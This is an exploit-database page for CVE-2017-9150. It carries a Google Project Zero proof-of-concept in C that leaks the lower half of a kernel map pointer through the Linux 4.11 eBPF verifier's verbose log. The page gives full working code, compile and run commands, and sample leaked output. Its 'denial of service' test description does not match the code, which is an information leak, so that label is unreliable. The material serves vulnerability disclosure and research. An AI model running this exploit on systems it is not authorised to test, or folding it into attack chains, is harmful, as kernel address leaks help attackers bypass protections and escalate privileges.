Materialized exploit

CVE-2017-9150

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos linux Verified

Source

Linux Kernel 4.11 - eBPF Verifier Log Leaks Lower Half of map Pointer

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

gcc 42048.c -o exploit && ./exploit

Code c

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1251

When the eBPF verifier (kernel/bpf/verifier.c) runs in verbose mode,
it dumps all processed instructions to a user-accessible buffer in
human-readable form using print_bpf_insn(). For instructions with
class BPF_LD and mode BPF_IMM, it prints the raw 32-bit value:

  } else if (class == BPF_LD) {
    if (BPF_MODE(insn->code) == BPF_ABS) {
      [...]
    } else if (BPF_MODE(insn->code) == BPF_IND) {
      [...]
    } else if (BPF_MODE(insn->code) == BPF_IMM) {
      verbose("(%02x) r%d = 0x%x\n",
              insn->code, insn->dst_reg, insn->imm);
    } else {
      [...]
    }
  } else if (class == BPF_JMP) {

This is done in do_check(), after replace_map_fd_with_map_ptr() has
executed. replace_map_fd_with_map_ptr() stores the lower half of a raw
pointer in all instructions with class BPF_LD, mode BPF_IMM and size
BPF_DW (map references).

So when verbose verification is performed on a program with a map
reference, the lower half of the pointer to the map becomes visible to
the user:

$ cat bpf_pointer_leak_poc.c
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/bpf.h>
#include <err.h>
#include <stdio.h>
#include <stdint.h>

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)         \
  ((struct bpf_insn) {                          \
    .code  = BPF_LD | BPF_DW | BPF_IMM,         \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = (__u32) (IMM) }),                  \
  ((struct bpf_insn) {                          \
    .code  = 0, /* zero is reserved opcode */   \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = ((__u64) (IMM)) >> 32 })
#define BPF_LD_MAP_FD(DST, MAP_FD)              \
  BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_MOV64_IMM(DST, IMM)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })
#define BPF_EXIT_INSN()                         \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_EXIT,                \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = 0 })

#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))

int bpf_(int cmd, union bpf_attr *attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int main(void) {
  union bpf_attr create_map_attrs = {
    .map_type = BPF_MAP_TYPE_ARRAY,
    .key_size = 4,
    .value_size = 1,
    .max_entries = 1
  };
  int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
  if (mapfd == -1)
    err(1, "map create");

  struct bpf_insn insns[] = {
    BPF_LD_MAP_FD(BPF_REG_0, mapfd),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN()
  };
  char verifier_log[10000];
  union bpf_attr create_prog_attrs = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = ARRSIZE(insns),
    .insns = (uint64_t)insns,
    .license = (uint64_t)"",
    .log_level = 1,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };
  int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
  if (progfd == -1)
    err(1, "prog load");

  puts(verifier_log);
}

/*
$ gcc -o bpf_pointer_leak_poc bpf_pointer_leak_poc.c -Wall -std=gnu99 -I~/linux/usr/include
$ ./bpf_pointer_leak_poc
0: (18) r0 = 0xd9da1c80
2: (b7) r0 = 0
3: (95) exit
processed 3 insns

Tested with kernel 4.11.
*/